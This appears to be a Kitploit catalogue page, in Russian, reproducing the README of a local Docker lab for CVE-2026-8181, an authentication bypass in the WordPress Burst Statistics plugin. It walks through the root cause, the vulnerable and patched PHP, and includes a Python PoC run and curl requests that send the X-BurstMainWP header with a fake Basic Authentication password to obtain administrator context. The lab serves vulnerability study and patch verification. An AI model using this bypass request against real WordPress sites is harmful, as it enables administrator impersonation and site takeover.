Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8181-Lab — Docker-лаборатория, демонстрирующая обход аутентификации CVE-2026-8181 в плагине WordPress Burst Statistics. Сравнивает уязвимую и исправленную версии с безвредным PoC, чтобы проиллюстрировать неправильную аутентификацию в REST API запросах. | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-8181-lab
Анализ уязвимостейЭксплуатация веб-приложенийВеб-безопасностьCTFТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика
GitHub
rootdirective-sec/cve-2026-8181-lab

CVE-2026-8181-Lab

Docker-лаборатория, демонстрирующая обход аутентификации CVE-2026-8181 в плагине WordPress Burst Statistics. Сравнивает уязвимую и исправленную версии с безвредным PoC, чтобы проиллюстрировать неправильную аутентификацию в REST API запросах.

Репозиторий
143 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8181 — Лабораторная работа по обходу аутентификации Burst Statistics

Локальная Docker-лаборатория для CVE-2026-8181, обхода аутентификации в плагине WordPress Burst Statistics – Privacy-Friendly WordPress Analytics.

Эта лаборатория сравнивает уязвимую версию плагина с исправленной и использует PoC с минимальным вредом, чтобы доказать различие без создания пользователей, загрузки файлов или изменения состояния WordPress.

Краткое описание

Затронутый плагин: Burst Statistics – Privacy-Friendly WordPress Analytics Уязвимые версии: 3.4.0 – 3.4.1.1 Исправленная версия: 3.4.2 Тип уязвимости: Обход аутентификации / Некорректная аутентификация Воздействие: Неаутентифицированный злоумышленник может выдать себя за администратора на время запроса к REST API, если ему известно действительное имя пользователя администратора.

В этой лаборатории:

  • vuln запускает Burst Statistics 3.4.1.1
  • patched запускает Burst Statistics 3.4.2
  • PoC отправляет поддельный пароль Basic Authentication с заголовком X-BurstMainWP: 1
  • Уязвимый сервис обрабатывает запрос как администратор
  • Исправленный сервис отклоняет тот же запрос
  • Архитектура лаборатории

    СервисОписаниеURL
    vulnWordPress + Burst Statistics 3.4.1.1http://127.0.0.1:8081
    patchedWordPress + Burst Statistics 3.4.2http://127.0.0.1:8082
    db_vulnMySQL для уязвимого WordPressТолько внутренний
    db_patchedMySQL для исправленного WordPressТолько внутренний
    seedОдноразовый контейнер настройки WP-CLIТолько внутренний

    Сервис seed устанавливает WordPress, создает администратора лаборатории и активирует Burst Statistics в обеих средах.

    Имя пользователя администратора лаборатории:

    root@kitploit:~
    labadmin
    

    PoC намеренно использует неправильный пароль для доказательства обхода.

    Корневая причина

    Burst Statistics включает путь прокси-аутентификации, связанный с MainWP. Когда запрос REST API содержит этот заголовок:

    root@kitploit:~
    X-BurstMainWP: 1
    

    Burst делегирует аутентификацию методу MainWP_Proxy::is_mainwp_authenticated().

    В уязвимой версии функция читает контролируемые злоумышленником учетные данные Basic Authentication, извлекает имя пользователя и пароль и передает их ядру WordPress:

    root@kitploit:~
    $is_valid = wp_authenticate_application_password( null, $username, $password );
    

    Ошибка заключается в проверке возвращаемого значения.

    Уязвимая логика: 3.4.1.1

    Упрощено из includes/Frontend/class-mainwp-proxy.php:

    root@kitploit:~
    $is_valid = wp_authenticate_application_password( null, $username, $password );
    if ( is_wp_error( $is_valid ) ) {
        return false;
    }
    
    $user = get_user_by( 'login', $username );
    if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
        return false;
    }
    
    wp_set_current_user( $user->ID );
    return true;
    

    Уязвимый код отклоняет только WP_Error. Однако wp_authenticate_application_password() может вернуть null или другое не-пользовательское значение, когда аутентификация на самом деле не удалась. Поскольку null не является WP_Error, проверка проходит.

    После этого плагин ищет указанного пользователя и вызывает:

    root@kitploit:~
    wp_set_current_user( $user->ID );
    

    Это заставляет WordPress обрабатывать текущий запрос REST API как этого пользователя. Если имя пользователя принадлежит администратору, проверки прав WordPress видят администратора на время запроса.

    Логика исправления

    Исправленная версия устраняет ошибку в проверке аутентификации, требуя настоящий объект аутентифицированного пользователя перед продолжением.

    Исправленная логика: 3.4.2

    Концептуально исправление выглядит так:

    root@kitploit:~
    $authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
    remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
    
    if ( ! $authenticated_user instanceof \WP_User ) {
        return false;
    }
    

    Важное изменение в том, что просто «неошибочное» возвращаемое значение больше не достаточно. Результат аутентификации должен быть реальным объектом \WP_User.

    Это блокирует уязвимый путь, где null обходил старую проверку is_wp_error().

    Почему это важно

    Лаборатория демонстрирует read-only доказательство с помощью:

    root@kitploit:~
    /wp/v2/users/me?context=edit
    

    Этой конечной точки достаточно, чтобы показать, считает ли WordPress запрос аутентифицированным.

    Реальное воздействие может быть выше, чем в этой лабораторной работе. Если злоумышленник может выдать себя за администратора для запроса REST API, он может получить доступ к привилегированным конечным точкам WordPress. В типичных конфигурациях WordPress доступ администратора может привести к полному захвату сайта через создание учетных записей, пароли приложений, установку плагинов, изменение темы или другие административные действия.

    Этот репозиторий намеренно избегает таких деструктивных путей.

    Запуск

    root@kitploit:~
    docker compose up -d --build
    

    Дождитесь завершения одноразового сервиса seed:

    root@kitploit:~
    docker compose logs seed
    

    Ожидаемый вывод seed:

    root@kitploit:~
    [+] vuln: Burst Statistics version = 3.4.1.1
    [+] patched: Burst Statistics version = 3.4.2
    [+] Seed complete
    

    Установите зависимость Python:

    root@kitploit:~
    python3 -m venv .venv
    source .venv/bin/activate
    pip install requests
    

    Запустите PoC против уязвимого сервиса:

    root@kitploit:~
    python poc/poc.py --base-url http://127.0.0.1:8081 --admin-user labadmin
    

    Ожидаемый результат для уязвимого:

    root@kitploit:~
    === baseline without bypass headers ===
    status: 401
    
    === with X-BurstMainWP + fake Basic password ===
    status: 200
    roles: ["administrator"]
    
    [+] LIKELY VULNERABLE: request was treated as an authenticated user/admin context.
    

    Запустите тот же PoC против исправленного сервиса:

    root@kitploit:~
    python poc/poc.py --base-url http://127.0.0.1:8082 --admin-user labadmin
    

    Ожидаемый результат для исправленного:

    root@kitploit:~
    === baseline without bypass headers ===
    status: 401
    
    === with X-BurstMainWP + fake Basic password ===
    status: 401
    
    [+] LIKELY PATCHED/NOT VULNERABLE: bypass headers did not authenticate the request.
    

    Ручной тест

    Сгенерируйте поддельный токен Basic Authentication:

    root@kitploit:~
    TOKEN=$(printf 'labadmin:not-the-real-password' | base64)
    

    Уязвимый сервис

    Базовый запрос без заголовков обхода:

    root@kitploit:~
    curl -sS -i \
      'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
    

    Ожидается:

    root@kitploit:~
    HTTP/1.1 401 Unauthorized
    rest_not_logged_in
    

    Попытка обхода:

    root@kitploit:~
    curl -sS -i \
      -H 'X-BurstMainWP: 1' \
      -H "Authorization: Basic $TOKEN" \
      'http://127.0.0.1:8081/?rest_route=/wp/v2/users/me&context=edit'
    

    Ожидается:

    root@kitploit:~
    HTTP/1.1 200 OK
    "slug":"labadmin"
    "roles":["administrator"]
    

    Исправленный сервис

    Запустите ту же попытку обхода против исправленного сервиса:

    root@kitploit:~
    curl -sS -i \
      -H 'X-BurstMainWP: 1' \
      -H "Authorization: Basic $TOKEN" \
      'http://127.0.0.1:8082/?rest_route=/wp/v2/users/me&context=edit'
    

    Ожидается:

    root@kitploit:~
    HTTP/1.1 401 Unauthorized
    rest_not_logged_in
    

    Доказательства на стороне сервера

    Уязвимый сервис четко показывает изменение поведения:

    root@kitploit:~
    GET /?rest_route=/wp/v2/users/me&context=edit 401
    GET /?rest_route=/wp/v2/users/me&context=edit 200
    

    Исправленный сервис отклоняет как неаутентифицированные, так и попытки обхода:

    root@kitploit:~
    GET /?rest_route=/wp/v2/users/me&context=edit 401
    GET /?rest_route=/wp/v2/users/me&context=edit 401
    

    Примечания по безопасности

    Этот PoC намеренно наносит минимальный вред:

    • Нет создания учетной записи администратора
    • Нет создания пароля приложения
    • Нет загрузки плагина
    • Нет изменения темы
    • Нет выполнения команд
    • Нет постоянного изменения состояния
    • Ограничение только localhost в скрипте PoC

    Используйте эту лабораторию только в вашем локальном Docker-окружении.

    Ссылки

    • NVD — CVE-2026-8181: https://nvd.nist.gov/vuln/detail/CVE-2026-8181
    • Технический анализ от Wordfence: https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
    • Ссылка на уязвимый исходный код, Burst Statistics 3.4.1.1: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Frontend/class-mainwp-proxy.php
    • Ссылка на исправленный исходный код, Burst Statistics trunk / 3.4.2: https://plugins.trac.wordpress.org/browser/burst-statistics/trunk/includes/Frontend/class-mainwp-proxy.php
    • Входная точка помощника администратора: https://plugins.trac.wordpress.org/browser/burst-statistics/tags/3.4.1.1/includes/Traits/trait-admin-helper.php
    Скачать инструмент